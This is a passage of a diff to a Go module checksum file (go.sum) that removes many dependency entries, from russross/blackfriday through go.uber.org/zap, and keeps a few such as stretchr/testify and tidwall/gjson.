-github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR/rfWxYHBV53g=
-github.com/russross/blackfriday/v2 v2.0.1 h1:lPqVAte+HuHNfhJ/0LC98ESWRz8afy9tM/0RK8m9o+Q=
-github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
-github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
-github.com/samfoo/ansi v0.0.0-20160124022901-b6bd2ded7189/go.mod h1:UUwuHEJ9zkkPDxspIHOa59PUeSkGFljESGzbxntLmIg=
-github.com/samuel/go-zookeeper v0.0.0-20190923202752-2cc03de413da/go.mod h1:gi+0XIa01GRL2eRQVjQkKGqKF3SF9vZR/HnPullcV2E=
-github.com/sassoftware/go-rpmutils v0.0.0-20190420191620-a8f1baeba37b/go.mod h1:am+Fp8Bt506lA3Rk3QCmSqmYmLMnPDhdDUcosQCAx+I=
-github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
-github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
-github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
-github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
-github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
-github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
-github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
-github.com/shurcooL/sanitized_anchor_name v1.0.0 h1:PdmoCO6wvbs+7yrJyMORt4/BmY5IYyJwS/kOiWx8mHo=
-github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc=
-github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
-github.com/sirupsen/logrus v1.3.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo=
-github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q=
-github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
-github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88=
-github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
-github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
-github.com/skip2/go-qrcode v0.0.0-20200617195104-da1b6568686e/go.mod h1:XV66xRDqSt+GTGFMVlhk3ULuV0y9ZmzeVGR4mloJI3M=
-github.com/slackhq/nebula v1.5.2/go.mod h1:xaCM6wqbFk/NRmmUe1bv88fWBm3a1UioXJVIpR52WlE=
-github.com/smallstep/assert v0.0.0-20180720014142-de77670473b5/go.mod h1:TC9A4+RjIOS+HyTH7wG17/gSqVv95uDw2J64dQZx7RE=
-github.com/smallstep/assert v0.0.0-20200723003110-82e2b9b3b262 h1:unQFBIznI+VYD1/1fApl1A+9VcBk+9dcqGfnePY87LY=
-github.com/smallstep/assert v0.0.0-20200723003110-82e2b9b3b262/go.mod h1:MyOHs9Po2fbM1LHej6sBUT8ozbxmMOFG+E+rx/GSGuc=
-github.com/smallstep/certificates v0.18.2/go.mod h1:GfaGvnmQXSR6JxG7ZkpDRixKyQPpWdw7GFD9zKs04nc=
-github.com/smallstep/certinfo v1.6.0/go.mod h1:DsKAlSDLWsywdiVBCfqqVdRuny77wqiI+NFskLM7Ods=
-github.com/smallstep/cli v0.18.2 h1:/3U+j3Z5/bfVBrIOczMO7B5N3Rz2IhGh/0O8faSXHj8=
-github.com/smallstep/cli v0.18.2/go.mod h1:ky03AzD18Knlke5RcHVvYy1bp0wVksEHOPBl3iwpAlU=
-github.com/smallstep/nosql v0.3.10/go.mod h1:yKZT5h7cdIVm6wEKM9+jN5dgK80Hljpuy8HNsnI7Gzo=
-github.com/smallstep/truststore v0.11.0/go.mod h1:HwHKRcBi0RUxxw1LYDpTRhYC4jZUuxPpkHdVonlkoDM=
-github.com/smallstep/zcrypto v0.0.0-20210924233136-66c2600f6e71/go.mod h1:+F24VU3UCxfVFvvqgm5jNUFQOm/L6ed13ImwWGFgg/g=
-github.com/smallstep/zlint v0.0.0-20180727184541-d84eaafe274f/go.mod h1:GeHHT7sJDI9ti3oEaFnvx1F4N8n3ZSw2YM1+sbEoxc4=
-github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
-github.com/smartystreets/assertions v1.0.0/go.mod h1:kHHU4qYBaI3q23Pp3VPrmWhuIUrLW/7eUrw0BU5VaoM=
-github.com/smartystreets/go-aws-auth v0.0.0-20180515143844-0c1422d1fdb9/go.mod h1:SnhjPscd9TpLiy1LpzGSKh3bXCfxxXuqd9xmQJy3slM=
-github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA=
-github.com/smartystreets/gunit v1.0.0/go.mod h1:qwPWnhz6pn0NnRBP++URONOVyNkPyr4SauJk4cUOwJs=
-github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM=
-github.com/soheilhy/cmux v0.1.5-0.20210205191134-5ec6847320e5/go.mod h1:T7TcVDs9LWfQgPlPsdngu6I6QIoyIFZDDC6sNE1GqG0=
-github.com/soheilhy/cmux v0.1.5/go.mod h1:T7TcVDs9LWfQgPlPsdngu6I6QIoyIFZDDC6sNE1GqG0=
-github.com/songgao/water v0.0.0-20200317203138-2b4b6d7c09d8/go.mod h1:P5HUIBuIWKbyjl083/loAegFkfbFNx5i2qEP4CNbm7E=
-github.com/sony/gobreaker v0.4.1/go.mod h1:ZKptC7FHNvhBz7dN2LGjPVBz2sZJmc0/PkyDJOjmxWY=
-github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
-github.com/spaolacci/murmur3 v1.1.0/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA=
-github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ=
-github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
-github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
-github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
-github.com/spf13/cobra v0.0.3/go.mod h1:1l0Ry5zgKvJasoi3XT1TypsSe7PqH0Sj9dhYf7v3XqQ=
-github.com/spf13/cobra v0.0.5/go.mod h1:3K3wKZymM7VvHMDS9+Akkh4K60UwM26emMESw8tLCHU=
-github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE=
-github.com/spf13/cobra v1.1.1/go.mod h1:WnodtKOvamDL/PwE2M4iKs8aMDBZ5Q5klgD3qfVJQMI=
-github.com/spf13/cobra v1.1.3/go.mod h1:pGADOWyqRD/YMrPZigI/zbliZ2wVD/23d+is3pSWzOo=
-github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=
-github.com/spf13/pflag v1.0.1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
-github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
-github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
-github.com/spf13/viper v1.3.2/go.mod h1:ZiWeW+zYFKm7srdB9IoDzzZXaJaI5eL9QjNiN/DMA2s=
-github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE=
-github.com/spf13/viper v1.7.0/go.mod h1:8WkrPz2fc9jxqZNCJI/76HCieCp4Q8HaLFoCha5qpdg=
-github.com/src-d/gcfg v1.4.0/go.mod h1:p/UMsR43ujA89BJY9duynAwIpvqEujIH/jFlfL7jWoI=
-github.com/streadway/amqp v0.0.0-20190404075320-75d898a42a94/go.mod h1:AZpEONHx3DKn8O/DFsRAY58/XVQiIPMTMB1SddzLXVw=
-github.com/streadway/amqp v0.0.0-20190827072141-edfb9018d271/go.mod h1:AZpEONHx3DKn8O/DFsRAY58/XVQiIPMTMB1SddzLXVw=
-github.com/streadway/handy v0.0.0-20190108123426-d5acb3125c2a/go.mod h1:qNTQ5P5JnDBl6z3cMAg/SywNDC5ABu5ApDIw6lUbRmI=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
-github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
-github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=
-github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
-github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
-github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
-github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
-github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
-github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
-github.com/thales-e-security/pool v0.0.2/go.mod h1:qtpMm2+thHtqhLzTwgDBj/OuNnMpupY8mv0Phz0gjhU=
github.com/tidwall/gjson v1.9.3 h1:hqzS9wAHMO+KVBBkLxYdkEeeFHuqr95GfClRLKlgK0E=
github.com/tidwall/gjson v1.9.3/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
-github.com/tj/assert v0.0.0-20171129193455-018094318fb0/go.mod h1:mZ9/Rh9oLWpLLDRpvE+3b7gP/C2YyLFYxNmcLnPTMe0=
-github.com/tj/go-elastic v0.0.0-20171221160941-36157cbbebc2/go.mod h1:WjeM0Oo1eNAjXGDx2yma7uG2XoyRZTq1uv3M/o7imD0=
-github.com/tj/go-kinesis v0.0.0-20171128231115-08b17f58cb1b/go.mod h1:/yhzCV0xPfx6jb1bBgRFjl5lytqVqZXEaeqWP8lTEao=
-github.com/tj/go-spin v1.1.0/go.mod h1:Mg1mzmePZm4dva8Qz60H2lHwmJ2loum4VIrLgVnKwh4=
-github.com/tmc/grpc-websocket-proxy v0.0.0-20170815181823-89b8d40f7ca8/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
-github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
-github.com/tmc/grpc-websocket-proxy v0.0.0-20200427203606-3cfed13b9966/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
-github.com/tmc/grpc-websocket-proxy v0.0.0-20201229170055-e5319fda7802/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
-github.com/tomasen/realip v0.0.0-20180522021738-f0c99a92ddce/go.mod h1:o8v6yHRoik09Xen7gje4m9ERNah1d1PPsVq1VEx9vE4=
-github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc=
-github.com/ugorji/go/codec v0.0.0-20181204163529-d75b2dcb6bc8/go.mod h1:VFNgLljTbGfSG7qAOspJ7OScBnGdDN/yBr0sguwnwf0=
-github.com/ulikunitz/xz v0.5.6/go.mod h1:2bypXElzHzzJZwzH67Y6wb67pO62Rzfn7BSiF4ABRW8=
-github.com/ulikunitz/xz v0.5.7/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
-github.com/urfave/cli v1.20.0/go.mod h1:70zkFmudgCuE/ngEzBv17Jvp/497gISqfk5gWijbERA=
-github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
-github.com/urfave/cli v1.22.2/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
-github.com/urfave/cli v1.22.4/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
-github.com/urfave/cli v1.22.5 h1:lNq9sAHXK2qfdI8W+GRItjCEkI+2oR4d+MEHy1CKXoU=
-github.com/urfave/cli v1.22.5/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0=
-github.com/urfave/cli/v2 v2.2.0 h1:JTTnM6wKzdA0Jqodd966MVj4vWbbquZykeX1sKbe2C4=
-github.com/urfave/cli/v2 v2.2.0/go.mod h1:SE9GqnLQmjVa0iPEY0f1w3ygNIYcIJ0OKPMoW2caLfQ=
-github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE=
-github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU=
-github.com/vishvananda/netns v0.0.0-20211101163701-50045581ed74/go.mod h1:DD4vA1DwXk04H54A1oHXtwZmA0grkVMdPxx/VGLCah0=
-github.com/weppos/publicsuffix-go v0.4.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k=
-github.com/xanzy/go-gitlab v0.31.0/go.mod h1:sPLojNBn68fMUWSxIJtdVVIP8uSBYqesTfDUseX11Ug=
-github.com/xanzy/ssh-agent v0.2.1/go.mod h1:mLlQY/MoOhWBj+gOGMQkOeiEvkx+8pJSI+0Bx9h2kr4=
-github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8/go.mod h1:HUYIGzjTL3rfEspMxjDjgmT5uz5wzYJKVo23qUhYTos=
-github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
-github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q=
-github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
-github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
-github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
-github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
-github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
-github.com/yuin/goldmark v1.4.0/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
-github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q=
-github.com/zmap/rc2 v0.0.0-20131011165748-24b9757f5521/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE=
-github.com/zmap/rc2 v0.0.0-20190804163417-abaa70531248/go.mod h1:3YZ9o3WnatTIZhuOtot4IcUfzoKVjUHqu6WALIyI0nE=
-github.com/zmap/zcertificate v0.0.0-20180516150559-0e3d58b1bac4/go.mod h1:5iU54tB79AMBcySS0R2XIyZBAVmeHranShAFELYx7is=
-github.com/zmap/zcertificate v0.0.0-20190521191901-30e388164f71/go.mod h1:gIZi1KPgkZNUQzPZXsZrNnUnxy05nTc0+tmlqvIkhRw=
-github.com/zmap/zcrypto v0.0.0-20190329181646-dff83107394d/go.mod h1:ix3q2kpLy0ibAuFXlr7qOhPKwFRRSjuynGuTR8EUPCk=
-github.com/zmap/zlint v0.0.0-20190516161541-9047d02cf65a/go.mod h1:xwLbce0UzBXp44sIAL1cii+hoK8j4AxRKlymZA2AIcY=
-go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
-go.etcd.io/bbolt v1.3.3/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
-go.etcd.io/bbolt v1.3.5/go.mod h1:G5EMThwa9y8QZGBClrRx5EY+Yw9kAhnjy3bSjsnlVTQ=
-go.etcd.io/bbolt v1.3.6/go.mod h1:qXsaaIqmgQH0T+OPdb99Bf+PKfBBQVAdyD6TY9G8XM4=
-go.etcd.io/etcd v0.0.0-20191023171146-3cf2f69b5738/go.mod h1:dnLIgRNXwCJa5e+c6mIZCrds/GIG4ncV9HhK5PX7jPg=
-go.etcd.io/etcd/api/v3 v3.5.0-alpha.0/go.mod h1:mPcW6aZJukV6Aa81LSKpBjQXTWlXB5r74ymPoSWa3Sw=
-go.etcd.io/etcd/api/v3 v3.5.0/go.mod h1:cbVKeC6lCfl7j/8jBhAK6aIYO9XOjdptoxU/nLQcPvs=
-go.etcd.io/etcd/client/pkg/v3 v3.5.0/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g=
-go.etcd.io/etcd/client/v2 v2.305.0-alpha.0/go.mod h1:kdV+xzCJ3luEBSIeQyB/OEKkWKd8Zkux4sbDeANrosU=
-go.etcd.io/etcd/client/v2 v2.305.0/go.mod h1:h9puh54ZTgAKtEbut2oe9P4L/oqKCVB6xsXlzd7alYQ=
-go.etcd.io/etcd/client/v3 v3.5.0-alpha.0/go.mod h1:wKt7jgDgf/OfKiYmCq5WFGxOFAkVMLxiiXgLDFhECr8=
-go.etcd.io/etcd/client/v3 v3.5.0/go.mod h1:AIKXXVX/DQXtfTEqBryiLTUXwON+GuvO6Z7lLS/oTh0=
-go.etcd.io/etcd/etcdctl/v3 v3.5.0-alpha.0/go.mod h1:YPwSaBciV5G6Gpt435AasAG3ROetZsKNUzibRa/++oo=
-go.etcd.io/etcd/etcdctl/v3 v3.5.0/go.mod h1:vGTfKdsh87RI7kA2JHFBEGxjQEYx+pi299wqEOdi34M=
-go.etcd.io/etcd/etcdutl/v3 v3.5.0/go.mod h1:o98rKMCibbFAG8QS9KmvlYDGDShmmIbmRE8vSofzYNg=
-go.etcd.io/etcd/pkg/v3 v3.5.0-alpha.0/go.mod h1:tV31atvwzcybuqejDoY3oaNRTtlD2l/Ot78Pc9w7DMY=
-go.etcd.io/etcd/pkg/v3 v3.5.0/go.mod h1:UzJGatBQ1lXChBkQF0AuAtkRQMYnHubxAEYIrC3MSsE=
-go.etcd.io/etcd/raft/v3 v3.5.0-alpha.0/go.mod h1:FAwse6Zlm5v4tEWZaTjmNhe17Int4Oxbu7+2r0DiD3w=
-go.etcd.io/etcd/raft/v3 v3.5.0/go.mod h1:UFOHSIvO/nKwd4lhkwabrTD3cqW5yVyYYf/KlD00Szc=
-go.etcd.io/etcd/server/v3 v3.5.0-alpha.0/go.mod h1:tsKetYpt980ZTpzl/gb+UOJj9RkIyCb1u4wjzMg90BQ=
-go.etcd.io/etcd/server/v3 v3.5.0/go.mod h1:3Ah5ruV+M+7RZr0+Y/5mNLwC+eQlni+mQmOVdCRJoS4=
-go.etcd.io/etcd/tests/v3 v3.5.0-alpha.0/go.mod h1:HnrHxjyCuZ8YDt8PYVyQQ5d1ZQfzJVEtQWllr5Vp/30=
-go.etcd.io/etcd/tests/v3 v3.5.0/go.mod h1:f+mtZ1bE1YPvgKdOJV2BKy4JQW0nAFnQehgOE7+WyJE=
-go.etcd.io/etcd/v3 v3.5.0-alpha.0/go.mod h1:JZ79d3LV6NUfPjUxXrpiFAYcjhT+06qqw+i28snx8To=
-go.etcd.io/etcd/v3 v3.5.0/go.mod h1:FldM0/VzcxYWLvWx1sdA7ghKw7C3L2DvUTzGrcEtsC4=
-go.mozilla.org/pkcs7 v0.0.0-20210730143726-725912489c62/go.mod h1:SNgMg+EgDFwmvSmLRTNKC5fegJjB7v23qTQ0XLGUNHk=
-go.mozilla.org/pkcs7 v0.0.0-20210826202110-33d05740a352/go.mod h1:SNgMg+EgDFwmvSmLRTNKC5fegJjB7v23qTQ0XLGUNHk=
-go.opencensus.io v0.15.0/go.mod h1:UffZAU+4sDEINUGP/B7UfBBkq4fqLu9zXAX7ke6CHW0=
-go.opencensus.io v0.20.1/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk=
-go.opencensus.io v0.20.2/go.mod h1:6WKK9ahsWS3RSO+PY9ZHZUfv2irvY6gN279GOPZjmmk=
-go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
-go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
-go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
-go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
-go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
-go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk=
-go.opencensus.io v0.22.6/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E=
-go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E=
-go.opentelemetry.io/contrib v0.20.0/go.mod h1:G/EtFaa6qaN7+LxqfIAT3GiZa7Wv5DTBUzl5H4LY0Kc=
-go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.20.0/go.mod h1:oVGt1LRbBOBq1A5BQLlUg9UaU/54aiHw8cgjV3aWZ/E=
-go.opentelemetry.io/otel v0.20.0/go.mod h1:Y3ugLH2oa81t5QO+Lty+zXf8zC9L26ax4Nzoxm/dooo=
-go.opentelemetry.io/otel/exporters/otlp v0.20.0/go.mod h1:YIieizyaN77rtLJra0buKiNBOm9XQfkPEKBeuhoMwAM=
-go.opentelemetry.io/otel/metric v0.20.0/go.mod h1:598I5tYlH1vzBjn+BTuhzTCSb/9debfNp6R3s7Pr1eU=
-go.opentelemetry.io/otel/oteltest v0.20.0/go.mod h1:L7bgKf9ZB7qCwT9Up7i9/pn0PWIa9FqQ2IQ8LoxiGnw=
-go.opentelemetry.io/otel/sdk v0.20.0/go.mod h1:g/IcepuwNsoiX5Byy2nNV0ySUF1em498m7hBWC279Yc=
-go.opentelemetry.io/otel/sdk/export/metric v0.20.0/go.mod h1:h7RBNMsDJ5pmI1zExLi+bJK+Dr8NQCh0qGhm1KDnNlE=
-go.opentelemetry.io/otel/sdk/metric v0.20.0/go.mod h1:knxiS8Xd4E/N+ZqKmUPf3gTTZ4/0TjTXukfxjzSTpHE=
-go.opentelemetry.io/otel/trace v0.20.0/go.mod h1:6GjCW8zgDjwGHGa6GkyeB8+/5vjT16gUEi0Nf1iBdgw=
-go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI=
-go.step.sm/cli-utils v0.7.0/go.mod h1:Ur6bqA/yl636kCUJbp30J7Unv5JJ226eW2KqXPDwF/E=
-go.step.sm/cli-utils v0.7.2 h1:kUNNhGRWAad3bLkhvbLjVr3Dqs5DgxCZQcUspWaQCIQ=
-go.step.sm/cli-utils v0.7.2/go.mod h1:Ur6bqA/yl636kCUJbp30J7Unv5JJ226eW2KqXPDwF/E=
-go.step.sm/crypto v0.9.0/go.mod h1:+CYG05Mek1YDqi5WK0ERc6cOpKly2i/a5aZmU1sfGj0=
-go.step.sm/crypto v0.15.0 h1:VioBln+x3+RoejgeBhvxkLGVYdWRy6PFiAaUUN29/E0=
-go.step.sm/crypto v0.15.0/go.mod h1:3G0yQr5lQqfEG0CMYz8apC/qMtjLRQlzflL2AxkcN+g=
-go.step.sm/linkedca v0.10.0/go.mod h1:5uTRjozEGSPAZal9xJqlaD38cvJcLe3o1VAFVjqcORo=
-go.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
-go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
-go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
-go.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=
-go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
-go.uber.org/goleak v1.1.10/go.mod h1:8a7PlsEVH3e/a/GLqe5IIrQx6GzcnRmZEufDUTk4A7A=
-go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
-go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4=
-go.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU=
-go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
-go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA=
-go.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
-go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
-go.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM=
-go.uber.org/zap v1.16.0/go.mod h1:MA8QOfq0BHJwdXa996Y4dYkAqRKB8/1K1QMMZVaNZjQ=
-go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo=
